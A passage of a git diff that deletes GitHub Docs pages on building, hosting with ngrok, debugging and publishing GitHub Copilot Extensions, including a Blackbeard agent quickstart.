(as well as Open AI’s) that allows them to invoke specific tools or functions. Extension builders can define available tools with parameters, enabling the LLM to select and call appropriate tools to fulfill a user’s request. “Functions” are a subset of “tools” and the “function calling” term will be {% data variables.release-phases.closing_down %}. - -#### Unlisted Extension - -An extension that is not published on the {% data variables.product.prodname_marketplace %}. Builders may develop and distribute public unlisted extensions without requiring review or approval from {% data variables.product.company_short %}. {% data variables.product.company_short %} does not guarantee the security or quality of unlisted extensions. - -#### Verified Creator - -A status required for organizations to publish extensions on the {% data variables.product.prodname_marketplace %}. diff --git a/content/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-extension.md b/content/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-extension.md deleted file mode 100644 index 79f64da75f3e..000000000000 --- a/content/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-extension.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Configuring your GitHub App for your Copilot extension -intro: 'Learn how to configure your {% data variables.product.prodname_github_app %} so that it is associated with your {% data variables.product.prodname_copilot_extension_short %}.' -defaultTool: agents -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Configure App for extension -type: how_to -redirect_from: - - /copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-agent ---- - -Once you have configured your server and created your {% data variables.product.prodname_github_app %}, you need to configure your {% data variables.product.prodname_github_app %} for use with your {% data variables.product.prodname_copilot_short %} extension. - -## Prerequisites - -* You have configured your server to deploy your {% data variables.product.prodname_copilot_extension_short %}, and you have your hostname (aka forwarding endpoint). For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-deploy-your-copilot-agent). -* You have created a {% data variables.product.prodname_github_app %} for your {% data variables.product.prodname_copilot_short %} extension. For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension). - -## Configuring your {% data variables.product.prodname_github_app %} - -{% agents %} - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. To the right of the {% data variables.product.prodname_github_app %} you want to configure for your {% data variables.product.prodname_copilot_extension_short %}, click **Edit**. -1. In the "Identifying and authorizing users" section, under "Callback URL", enter your callback endpoint URL, then click **Save changes**. - - > [!NOTE] Your server's hostname is the forwarding endpoint that you copied from your terminal when you configured your server. See [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-deploy-your-copilot-agent). - > - > If you are using an ephemeral domain in ngrok, you will need to update this URL every time you restart your ngrok server. - -1. In the left sidebar, click **Permissions & events**. -1. To expand the "Account permissions" section, click anywhere in the section. -{% data reusables.copilot.copilot-extensions.account-permissions %} -1. In the left sidebar, click **{% data variables.product.prodname_copilot_short %}**. -1. Read the {% data variables.product.prodname_marketplace %} Developer Agreement and the {% data variables.product.github %} Pre-release License Terms, then accept the terms for creating a {% data variables.product.prodname_copilot_extension_short %}. - -1. In the "App type" section, select the dropdown menu, then click **Agent**. -1. Under "URL," enter your server's hostname (aka forwarding endpoint) that you copied from your terminal. - - > [!NOTE] If you are using an ephemeral domain in ngrok, you will need to update this URL every time you restart your ngrok server. - -1. Under "Inference description", type a brief description of your agent, then click **Save**. This will be the description users see when they hover over your extension's slug in the chat window. -1. Your pre-authorization URL is a link on your website that starts the authorization process for your extension. Users will be redirected to this URL when they decide to authorize your extension. If you are using a pre-authorization URL, under "Pre-authorization URL," enter the URL, then click **Save**. -1. In your {% data variables.product.prodname_github_app %} settings, in the left sidebar, click **Install App**, then, next to the account you want to install your app on, click **Install**. -{% data reusables.copilot.go-to-copilot-page %} -1. Invoke your extension by typing `@EXTENSION-NAME`, replacing any spaces in the extension name with `-`, then press `Enter`. -1. If this is your first time using the extension, you will be prompted to authenticate. Follow the steps on screen to authenticate your extension. -1. Ask your extension a question in the chat window. For example, `What is the software development lifecycle?`. - -{% endagents %} - -{% skillsets %} - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. To the right of the {% data variables.product.prodname_github_app %} you want to configure for your {% data variables.product.prodname_copilot_extension_short %}, click **Edit**. -1. In the "Identifying and authorizing users" section, under "Callback URL", enter your callback endpoint URL, then click **Save changes**. - - > [!NOTE] Your server's hostname is the forwarding endpoint that you copied from your terminal when you configured your server. See [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-deploy-your-copilot-agent). - > - > If you are using an ephemeral domain in ngrok, you will need to update this URL every time you restart your ngrok server. - -1. In the left sidebar, click **Permissions & events**. -1. To expand the "Account permissions" section, click anywhere in the section. -{% data reusables.copilot.copilot-extensions.account-permissions %} -1. In the left sidebar, click **{% data variables.product.prodname_copilot_short %}**. -1. Read the {% data variables.product.prodname_marketplace %} Developer Agreement and the {% data variables.product.github %} Pre-release License Terms, then accept the terms for creating a {% data variables.product.prodname_copilot_extension_short %}. - -1. In the "App type" section, select the dropdown menu, then click **Skillset**. -1. Your pre-authorization URL is a link on your website that starts the authorization process for your extension. Users will be redirected to this URL when they decide to authorize your extension. If you are using a pre-authorization URL, under "Pre-authorization URL," enter the URL, then click **Save**. -{% data reusables.copilot.copilot-extensions.skillsets-configuration-steps %} -1. In your {% data variables.product.prodname_github_app %} settings, in the left sidebar, click **Install App**, then, next to the account you want to install your app on, click **Install**. -{% data reusables.copilot.go-to-copilot-page %} -1. Invoke your extension by typing `@EXTENSION-NAME`, replacing any spaces in the extension name with `-`, then press `Enter`. -1. If this is your first time using the extension, you will be prompted to authenticate. Follow the steps on screen to authenticate your extension. -1. Ask your extension a question in the chat window. For example, `What is the software development lifecycle?`. - -{% endskillsets %} diff --git a/content/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-host-your-copilot-extension.md b/content/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-host-your-copilot-extension.md deleted file mode 100644 index befb28c0ce8d..000000000000 --- a/content/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-host-your-copilot-extension.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Configuring your server to host your Copilot extension -intro: 'Learn how to make your {% data variables.product.prodname_copilot_short %} extension accessible to the internet.' -versions: - feature: copilot-extensions -redirect_from: - - /copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-deploy-your-copilot-agent - - /copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-host-your-copilot-agent -topics: - - Copilot -shortTitle: Host your extension -type: how_to ---- - -Your {% data variables.product.prodname_copilot_extension_short %} must be hosted on a server that is accessible to the internet. In this guide, we will use [ngrok](https://ngrok.com/) to create a tunnel to your local server, but you could also use a service like [localtunnel](https://localtunnel.github.io/www/). - -Alternatively, if you are a {% data variables.product.prodname_codespaces %} user, you can use the built-in {% data variables.product.prodname_codespaces %} port forwarding. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace). - -## Prerequisites - -* You have created a {% data variables.product.prodname_copilot_extension_short %}. For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension) or [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-skillset-for-your-copilot-extension). - -## Configuring your server - -1. Visit the [ngrok setup & installation page](https://dashboard.ngrok.com/get-started/setup/). -1. If you do not yet have an account, follow the instructions on screen to sign up. -1. Under "Agents," ensure the correct operating system is selected. -1. Under "Installation," follow the instructions for your operating system to download and install ngrok. -1. Under "Deploy your app online," select **Ephemeral domain** or **Static domain**. -1. Run the command provided in your terminal, replacing the port number with the port your extension is configured to run on. For example: - - * For an ephemeral domain: - - ```shell copy - ngrok http http://localhost:EXTENSION-PORT-NUMBER - ``` - - * For a static domain: - - ```shell copy - ngrok http --domain=YOUR-STATIC-DOMAIN.ngrok-free.app EXTENSION-PORT-NUMBER - ``` - -1. In your terminal, next to "Forwarding," copy the URL that ngrok has assigned to your server. You will need this forwarding endpoint when you are configuring your {% data variables.product.prodname_github_app %}. - - > [!NOTE] Do not copy the `-> http://localhost:XXXX` part of the URL. - > - > Keep the terminal window open while you are using your extension. - -## Next steps - -* [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension) diff --git a/content/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension.md b/content/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension.md deleted file mode 100644 index 3676ebd757a7..000000000000 --- a/content/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Creating a GitHub App for your Copilot Extension -intro: 'Learn how to create a {% data variables.product.prodname_github_app %} for your {% data variables.product.prodname_copilot_extension_short %}.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Create GitHub App -type: how_to ---- - -A {% data variables.product.prodname_copilot_extension_short %} is a {% data variables.product.prodname_github_app %} that is associated with a {% data variables.product.prodname_copilot_agent_short %}. The {% data variables.product.prodname_github_app %} you associate your {% data variables.product.prodname_copilot_agent_short %} with is used to authenticate the {% data variables.product.prodname_copilot_agent_short %} with {% data variables.product.prodname_dotcom %} and to authorize the {% data variables.product.prodname_copilot_agent_short %} to access the {% data variables.product.prodname_copilot_chat_short %} API. Each {% data variables.product.prodname_copilot_agent_short %} must be associated with a unique {% data variables.product.prodname_github_app %}. - -## Prerequisites - -* You have created a {% data variables.product.prodname_copilot_agent_short %}. For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension). -* You have configured your server to deploy your {% data variables.product.prodname_copilot_agent_short %}, and you have your hostname (aka forwarding endpoint). For more information, see [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-server-to-deploy-your-copilot-agent). - -## Creating a {% data variables.product.prodname_github_app %} - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Click **New {% data variables.product.prodname_github_app %}**. -1. Under "{% data variables.product.prodname_github_app %} name," enter a name for your app. - - > [!NOTE] The name cannot be longer than 34 characters. - > - >Your app's name will be shown in the user interface when your app takes an action. Uppercase letters will be converted to lowercase, with spaces replaced by `-`, and accents ignored. For example, `My APp Näme` would display as `my-app-name`. - > - > The name must be unique across {% data variables.product.company_short %}. You cannot use the same name as an existing {% data variables.product.company_short %} account, unless it is your own user or organization name. - -1. Optionally, under "Description," type a description of your app. Users and organizations will see this description when they install your app. -1. Under "Homepage URL," enter a URL for your app. You can use: - * Your app's website URL. - * The URL of the organization or user that owns the app. - * The URL of the repository where your app's code is stored, if it is a public repository. -1. Under "Webhook," deselect **Active**. -1. Click **Create {% data variables.product.prodname_github_app %}**. - -## Next steps - -* [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-agent) diff --git a/content/copilot/building-copilot-extensions/creating-a-copilot-extension/index.md b/content/copilot/building-copilot-extensions/creating-a-copilot-extension/index.md deleted file mode 100644 index eb49ebbc71e4..000000000000 --- a/content/copilot/building-copilot-extensions/creating-a-copilot-extension/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Creating a Copilot Extension -shortTitle: Create a Copilot Extension -intro: 'Learn how to integrate your {% data variables.product.prodname_copilot_agent_short %} with a {% data variables.product.prodname_github_app %} to create your {% data variables.product.prodname_copilot_extension_short %}.' -versions: - feature: copilot -topics: - - Copilot -children: - - /configuring-your-server-to-host-your-copilot-extension - - /creating-a-github-app-for-your-copilot-extension - - /configuring-your-github-app-for-your-copilot-extension ---- - diff --git a/content/copilot/building-copilot-extensions/debugging-your-github-copilot-extension.md b/content/copilot/building-copilot-extensions/debugging-your-github-copilot-extension.md deleted file mode 100644 index 6d72e7f36b09..000000000000 --- a/content/copilot/building-copilot-extensions/debugging-your-github-copilot-extension.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Debugging your GitHub Copilot Extension -intro: 'Learn how to debug your {% data variables.product.prodname_copilot_extension %} from the command line before you publish it.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Debug Copilot Extension ---- - -With the debug tool for {% data variables.product.prodname_copilot_extensions_short %}, you can chat with your {% data variables.product.prodname_copilot_agent_short %} from the command line, then view detailed logs as your agent generates a response. You can pass several flags to the tool, with the most important flags being: -* The `url` flag, which contains the URL to access your {% data variables.product.prodname_copilot_agent_short %}. This is the only required flag to start the tool. -* The `log-level` flag, which determines the level of visibility you have into your {% data variables.product.prodname_copilot_agent_short %}'s process for generating a response. The available log levels are `DEBUG`, `NONE`, and `TRACE`, and the tool uses `DEBUG` by default. -* The `token` flag, which must contain a {% data variables.product.pat_v2 %} with read access to {% data variables.product.prodname_copilot_chat_short %} if your {% data variables.product.prodname_copilot_agent_short %} calls the {% data variables.product.prodname_copilot_short %} LLM. If your agent calls a different LLM, you don't need to use this flag. - -## Prerequisites - -To use the debug tool, you need to have the {% data variables.product.prodname_cli %} installed on your machine. You can install the {% data variables.product.prodname_cli %} in one of two ways: -* From the command line using a package manager. For example, to install the {% data variables.product.prodname_cli %} with Homebrew, paste the following command to the command line, then follow the prompts: - - ```bash copy - brew install gh - ``` - -* From the [{% data variables.product.prodname_cli %} releases page](https://github.com/cli/cli/releases/tag/v2.56.0) - -## Debugging your {% data variables.product.prodname_copilot_extension_short %} with the CLI - -1. Optionally, to prepare to debug a specific server-sent event (SSE), add some code to your {% data variables.product.prodname_copilot_agent_short %} that sends an SSE when a prompt contains a certain keyword. - - > [!NOTE] The debug tool does not handle the payload verification process. To validate your SSEs, you need to temporarily disable payload verification for local testing, then re-enable it after you have successfully tested your extension. - -1. On the command line, start your {% data variables.product.prodname_copilot_agent_short %}. -1. To authenticate with the {% data variables.product.prodname_cli %} {% data variables.product.prodname_oauth_app %}, in a new window of your command line application, paste the following command and follow the prompts: - - ```bash copy - gh auth login --web -h github.com - ``` - -1. In the same window, to install the debug tool, paste the following command: - - ```bash copy - gh extension install github.com/copilot-extensions/gh-debug-cli - ``` - -1. Optionally, for a list of available flags and their descriptions, paste the following command to the command line: - - ```bash copy - gh debug-cli -h - ``` - -1. Optionally, set environment variables for each flag you want to use. Environment variables allow you to set a constant value for a flag rather than passing a value in each time you run the debug tool. For example, if you are using the Blackbeard extension to test the debug tool, you can create an environment variable for the agent URL as follows: - - ```bash copy - export URL="http://localhost:3000" - ``` - - > [!NOTE] To set an environment variable for a flag, you must use the name of the flag in all caps. - -1. To start the debug tool, paste the following command to the command line, adding any flags you want to use: - - ```bash copy - gh debug-cli - ``` - - The only required flag is the `url` flag, but you will likely want to use additional flags like `log-level` and `token`. - - Once the debug tool is running, you should see a message that reads "Start typing to chat with your assistant...". - -1. To interact with your agent, enter a prompt on the command line. The output will vary based on the log level you chose in the previous step, with the `DEBUG` and `TRACE` log levels providing more detailed information. - - > [!TIP] If you are debugging an SSE, send a prompt containing the keyword you specified in your {% data variables.product.prodname_copilot_agent_short %} to trigger the SSE, then analyze the output in your command line application. diff --git a/content/copilot/building-copilot-extensions/index.md b/content/copilot/building-copilot-extensions/index.md deleted file mode 100644 index 322ab529a06b..000000000000 --- a/content/copilot/building-copilot-extensions/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Building Copilot Extensions -shortTitle: Build Copilot Extensions -intro: 'Learn how to integrate external tools with {% data variables.product.prodname_copilot_short %}.' -versions: - feature: copilot -topics: - - Copilot -children: - - /about-building-copilot-extensions - - /quickstart-for-github-copilot-extensions-using-agents - - /setting-up-copilot-extensions - - /creating-a-copilot-extension - - /building-a-copilot-agent-for-your-copilot-extension - - /building-a-copilot-skillset-for-your-copilot-extension - - /using-oidc-with-github-copilot-extensions - - /debugging-your-github-copilot-extension - - /managing-the-availability-of-your-copilot-extension - - /copilot-extensions-faq - - /copilot-extensions-glossary ---- diff --git a/content/copilot/building-copilot-extensions/managing-the-availability-of-your-copilot-extension.md b/content/copilot/building-copilot-extensions/managing-the-availability-of-your-copilot-extension.md deleted file mode 100644 index 12f00b95384c..000000000000 --- a/content/copilot/building-copilot-extensions/managing-the-availability-of-your-copilot-extension.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Managing the availability of your Copilot Extension -intro: 'After you build your {% data variables.product.prodname_copilot_extension_short %}, you can change it''s visibility or publish it on the {% data variables.product.prodname_marketplace %}.' -versions: - feature: copilot-extensions -topics: - - Copilot -shortTitle: Manage Extension availability -type: how_to ---- - -When you build a {% data variables.product.prodname_copilot_extension_short %}, you have two options for the visibility of your {% data variables.product.prodname_github_app %}: - -* **Public:** Any user or organization account with the link to your app's installation page can install it. Making your app public automatically creates a public installation page, but does not list the app on the {% data variables.product.prodname_marketplace %}. -* **Private:** Any user, organization, or enterprise can create an extension. Any user or organization, and any organization in an enterprise can install an enterprise-created extension. Private extensions are not available to all users outside your organization or enterprise based on the level at which it was created. - -If you make your app public, you can choose to publish it on the {% data variables.product.prodname_marketplace %}. - -## Changing the visibility of your {% data variables.product.prodname_copilot_extension_short %} - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org-list %} -1. At the bottom of the sidebar, select **{% octicon "code" aria-hidden="true" %} Developer settings**, then click **{% data variables.product.prodname_github_apps %}**. -1. In the "{% data variables.product.prodname_github_apps %}" section, next to the name of your {% data variables.product.prodname_copilot_extension_short %}, click **Edit**. -1. In the sidebar, click **Advanced**. At the bottom of the "Danger Zone" section, you will see one of two options: - * **Make public:** If you see the **Make public** option, your {% data variables.product.prodname_github_app %} is currently private, and can only be installed by the organization or user that created the app. You can click **Make public** to allow any other account with the link to your app's installation page to install your {% data variables.product.prodname_copilot_short %} extension. Leave the settings unchanged to keep your app private. - * **Make private:** If you see the **Make private** option, your {% data variables.product.prodname_github_app %} is currently public, and can be installed by any account with the link to your app's installation page. You can click **Make private** to only allow installations by the organization or user that created the app, or organizations that are part of the enterprise that created the extension. Leave the settings unchanged to keep your app public. -1. Optionally, if your {% data variables.product.prodname_github_app %} is public, you can share the link to the installation page for your {% data variables.product.prodname_copilot_extension_short %}. In the sidebar, click **Public page** in the sidebar, then copy the link for your listing. - -> [!NOTE] You can set a published marketplace extension to private, and it will remain accessible on the {% data variables.product.prodname_marketplace %}. However, it won't be accessible from the direct installation page. - -## Listing your {% data variables.product.prodname_copilot_extension_short %} on the {% data variables.product.prodname_marketplace %} - - To list your {% data variables.product.prodname_copilot_extension_short %} on the {% data variables.product.prodname_marketplace %}, you must meet the following requirements: - -* You must publish your app from an organization that is a verified publisher on the {% data variables.product.prodname_marketplace %}. - * If your organization is not yet verified, see [AUTOTITLE](/apps/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization). - * If you need to transfer ownership of your app from your personal account to your organization account, see [AUTOTITLE](/apps/maintaining-github-apps/transferring-ownership-of-a-github-app). -* Your app must meet the requirements for all {% data variables.product.prodname_copilot_extension_short %} listings on the {% data variables.product.prodname_marketplace %}. See [AUTOTITLE](/apps/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app#requirements-for-github-copilot-extensions). - -App managers cannot create, edit, or publish extensions on the {% data variables.product.prodname_marketplace %}. To manage a listing, you should be an organization owner for the publishing organization. - -> [!NOTE] Paid plans are not supported for {% data variables.product.prodname_copilot_extensions_short %} during {% data variables.release-phases.public_preview %}. Any requests to publish with a paid plan attached will not be approved. - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org-list %} -1. At the bottom of the sidebar, select **{% octicon "code" aria-hidden="true" %} Developer settings**, then click **{% data variables.product.prodname_github_apps %}**. -1. Select the app you'd like to publish to the {% data variables.product.prodname_marketplace %}. -1. On the app settings landing page, scroll down to the Marketplace section, then click **List in Marketplace**. The Marketplace section is only visible if your app is public. -1. In the "Listing name" text box, type a name for your listing. This name is displayed on the {% data variables.product.prodname_marketplace %} page and in search results, and can be changed later. {% data variables.product.github %} recommends using any of the following naming conventions: - * `YOUR-PRODUCT-NAME` (example: "{% data variables.product.prodname_copilot_short %}"): We recommend this convention if your extension stays within the scope of a single product and there are no other well-known products with the same name. - * `YOUR-COMPANY-NAME` (example "{% data variables.product.github %}"): We recommend this convention if your extension spans multiple products. - * `YOUR-COMPANY-PRODUCT-NAME` (example: "{% data variables.product.prodname_copilot %}"): We recommend this convention if your extension stays within the scope of one product, but there are other well-known products with the same name. - - > [!NOTE] The listing name is not the same as your {% data variables.product.prodname_github_app %}'s name or your {% data variables.product.prodname_copilot_extension_short %}'s slug. Changing the listing name will not affect the app name or slug. - -1. In the "Primary category" section, select the dropdown menu, then click a category. You can change your selection or add a secondary category later. -1. To create a draft listing for your {% data variables.product.prodname_copilot_extension_short %}, click **Save and add more details**. -1. After you create a new draft listing, you'll see a view where you can manage your listing. Before you can submit your listing for review, you need to: - * Fill out each of the required sections - * Verify the organization account that owns the {% data variables.product.prodname_github_app %} - * Accept the {% data variables.product.prodname_marketplace %} Developer Agreement -1. To submit your listing, click **Submit for review**. After your listing is reviewed, an onboarding expert will let you know if your submission was approved or denied. - -> [!NOTE] {% data variables.product.github %} reviews all submissions to ensure they meet our standards for quality, performance, reliability, and security. {% data variables.product.github %} may deny submissions at its own discretion, and will provide reasons for denials. You are welcome to address any issues and resubmit your extension for review. You may also go through the [GitHub Appeal and Reinstatement Process](/free-pro-team@latest/site-policy/acceptable-use-policies/github-appeal-and-reinstatement). diff --git a/content/copilot/building-copilot-extensions/quickstart-for-github-copilot-extensions-using-agents.md b/content/copilot/building-copilot-extensions/quickstart-for-github-copilot-extensions-using-agents.md deleted file mode 100644 index 46b89cdc3646..000000000000 --- a/content/copilot/building-copilot-extensions/quickstart-for-github-copilot-extensions-using-agents.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Quickstart for GitHub Copilot Extensions using agents -defaultTool: vscode -intro: 'Build and try out {% data variables.product.github %}''s Blackbeard extension to learn about the development process for {% data variables.product.prodname_copilot_extensions %}.' -versions: - feature: copilot-extensions -redirect_from: - - /copilot/building-copilot-extensions/building-a-copilot-agent-for-your-copilot-extension/using-a-demo-agent - - /copilot/building-copilot-extensions/quickstart-for-github-copilot-extensions -topics: - - Copilot -shortTitle: Extensions quickstart ---- - -The [Blackbeard extension](https://github.com/copilot-extensions/blackbeard-extension) is a {% data variables.product.prodname_copilot_extension %} built with a simple agent that responds to requests like a pirate using {% data variables.product.prodname_copilot_short %}'s large language model (LLM) API and special system prompts. This guide uses a simple agent implementation, but the process is similar for skillsets. - -This quickstart is designed to help you build and chat with the Blackbeard extension as quickly as possible, so you can develop and test your extension without deploying infrastructure. For production, you'll need to host the application for your agent or skillset's endpoints on a publicly accessible server. To instead learn how to create a new {% data variables.product.prodname_copilot_extension %}, see [AUTOTITLE](/copilot/building-copilot-extensions/setting-up-copilot-extensions). - -## 1. Create and install a {% data variables.product.prodname_github_app %} - -In the developer settings for your {% data variables.product.github %} account, create a {% data variables.product.prodname_github_app %}. Your {% data variables.product.prodname_github_app %} must have: -* A name -* A homepage URL -* Webhooks deselected - -After you create your app, click **Install App** in the sidebar, then install your app on your account. - -For detailed instructions, see [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/creating-a-github-app-for-your-copilot-extension#creating-a-github-app). - -{% vscode %} - -## 2. Clone and host the Blackbeard agent locally - -Rather than deploying the Blackbeard agent as a web app, you can host your agent locally for a significantly faster build process. - -1. Using the Terminal built into {% data variables.product.prodname_vscode_shortname %}, clone the [`copilot-extensions/blackbeard-extension`](https://github.com/copilot-extensions/blackbeard-extension) repository. -1. In the same Terminal, run `npm install` to install the necessary dependencies, then run `npm start` to start the Blackbeard agent on port 3000. -1. In the "Ports" tab of the {% data variables.product.prodname_vscode_shortname %} panel, click **Forward a port** or **Add port**, then add port 3000. -1. Right-click the port and set the visibility to "Public," then copy the local address. - -## 3. Integrate and test the Blackbeard extension - -After you set up your {% data variables.product.prodname_github_app %} and Blackbeard agent, you can integrate the agent with your app and test the Blackbeard extension. You need to make the following changes to your {% data variables.product.prodname_github_app %} settings: -* In the "General" settings, in the "Callback URL" field, paste the local address for your agent. -* In the "Permissions & events" settings, grant read-only permissions to {% data variables.product.prodname_copilot_chat_short %}. -* In the "{% data variables.product.prodname_copilot_short %}" settings, set your app type to "Agent," then fill out the remaining fields. - -After you update your {% data variables.product.prodname_github_app %} settings, you can start chatting with your extension by typing `@YOUR-EXTENSION-NAME` in the {% data variables.product.prodname_copilot_chat_short %} window, then sending a prompt as normal. - -For more detailed instructions, see [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-agent#configuring-your-github-app). - -{% endvscode %} - -{% codespaces %} - -## 2. Clone and host the Blackbeard agent in a codespace - -Rather than deploying the Blackbeard agent as a web app, you can host your agent in a codespace for a significantly faster build process. - -1. Navigate to the [`copilot-extensions/blackbeard-extension`](https://github.com/copilot-extensions/blackbeard-extension) repository. Select the **{% octicon "code" aria-hidden="true" %} Code** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Create codespace on main**. -1. To find your new codespace, select the **{% octicon "code" aria-hidden="true" %} Code** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu. Next to your new codespace, select {% octicon "kebab-horizontal" aria-label="Show more actions for codespace" %}, then click **{% octicon "globe" aria-hidden="true" %} Open in Browser**. -1. In the integrated Terminal, run `npm start` to start the Blackbeard agent on port 3000. -1. In the "Ports" tab of the {% data variables.product.prodname_vscode_shortname %} panel, click **Forward a port**, then add port 3000. -1. Right-click the port and set the visibility to "Public," then copy the local address. - -## 3. Integrate and test the Blackbeard extension - -After you set up your {% data variables.product.prodname_github_app %} and Blackbeard agent, you can integrate the agent with your app and test the Blackbeard extension. You need to make the following changes to your {% data variables.product.prodname_github_app %} settings: -* In the "General" settings, in the "Callback URL" field, paste the forwarded address for your agent. -* In the "Permissions & events" settings, grant read-only permissions to {% data variables.product.prodname_copilot_chat_short %}. -* In the "{% data variables.product.prodname_copilot_short %}" settings, set your app type to "Agent," then fill out the remaining fields. - -After you update your {% data variables.product.prodname_github_app %} settings, you can start chatting with your extension by typing `@YOUR-EXTENSION-NAME` in the {% data variables.product.prodname_copilot_chat_short %} window of a supported client or IDE, then sending a prompt as normal. For a list of supported clients and IDEs, see [AUTOTITLE](/copilot/building-copilot-extensions/about-building-copilot-extensions#supported-clients-and-ides). - -> [!NOTE] Chatting with {% data variables.product.prodname_copilot_extensions %} in {% data variables.product.prodname_github_codespaces %} is not supported. - -For more detailed instructions, see [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-agent#configuring-your-github-app). - -{% endcodespaces %} - -{% bash %} - -## 2. Clone and start the Blackbeard agent locally - -Rather than deploying the Blackbeard agent as a web app, you can host your agent locally for a significantly faster build process. - -1. Using your command line application, clone the [`copilot-extensions/blackbeard-extension`](https://github.com/copilot-extensions/blackbeard-extension) repository. -1. Run `npm install` to install the necessary dependencies, then run `npm start` to start the Blackbeard agent on port 3000. - -## 3. Expose your local server - -To make the Blackbeard agent accessible to the {% data variables.product.prodname_copilot_short %} platform and {% data variables.product.github %}, you need to expose your local server so it's reachable by HTTP requests. You can use any port forwarding or tunneling service to achieve this. For the following steps, we'll use ngrok. - -1. Navigate to [ngrok's download page](https://ngrok.com/downloads/), then install the appropriate version of ngrok for your operating system. -1. Navigate to the [ngrok setup and installation page](https://dashboard.ngrok.com/get-started/setup/), then log in or sign up for an ngrok account. -1. To expose your local server, in a new window of your command line application, run the following command: - - ```shell copy - ngrok http http://localhost:3000 - ``` - -1. In your command line application, next to "Forwarding," copy the URL that ngrok assigned to your server. - -## 4. Integrate and test the Blackbeard extension - -To integrate your {% data variables.product.prodname_github_app %} with the Blackbeard agent, you need to make the following changes to your app settings: -* In the "General" settings, in the "Callback URL" field, paste the URL for your exposed server. -* In the "Permissions & events" settings, grant read-only permissions to {% data variables.product.prodname_copilot_chat_short %}. -* In the "{% data variables.product.prodname_copilot_short %}" settings, set your app type to "Agent," then fill out the remaining fields. - -After you update your {% data variables.product.prodname_github_app %} settings, you can start chatting with your extension by typing `@YOUR-EXTENSION-NAME` in the {% data variables.product.prodname_copilot_chat_short %} window, then sending a prompt as normal. - -For more detailed instructions, see [AUTOTITLE](/copilot/building-copilot-extensions/creating-a-copilot-extension/configuring-your-github-app-for-your-copilot-agent#configuring-your-github-app). - -{% endbash %} - -## Next steps - -Now that you have a working {% data variables.product.prodname_copilot_extension %}, you can try building on the Blackbeard agent to experiment with agent development. - -To learn about more complex agent implementations, you can also review the following example agents and software development kit (SDK), all of which are available in the [`copilot-extensions`](https://github.com/copilot-extensions) organization: - -* [{% data variables.product.prodname_github_models %}](https://github.com/copilot-extensions/github-models-extension): A more complex agent that lets you ask about and interact with various LLMs listed on the {% data variables.product.prodname_marketplace %} through {% data variables.product.prodname_copilot_chat_short %}. The {% data variables.product.prodname_github_models %} agent makes use of function calling. -* [Function Calling](https://github.com/copilot-extensions/function-calling-extension): An example agent written in Go that demonstrates function calling and confirmation dialogs. -* [RAG Extension](https://github.com/copilot-extensions/rag-extension): An example agent written in Go that demonstrates a simple implementation of retrieval augmented generation. -* [Preview SDK](https://github.com/copilot-extensions/preview-sdk.js/tree/main): An SDK that streamlines the development of {% data variables.product.prodname_copilot_extensions_short %} by handling request verification, payload parsing, and response formatting automatically. This SDK allows extension builders to focus more on creating core functionality and less on boilerplate code. diff --git a/content/copilot/building-copilot-extensions/setting-up-copilot-extensions.md b/content/copilot/building-copilot-extensions/setting-up-copilot-extensions.md deleted file mode 100644 index 45e7ad32764a..000000000000 --- 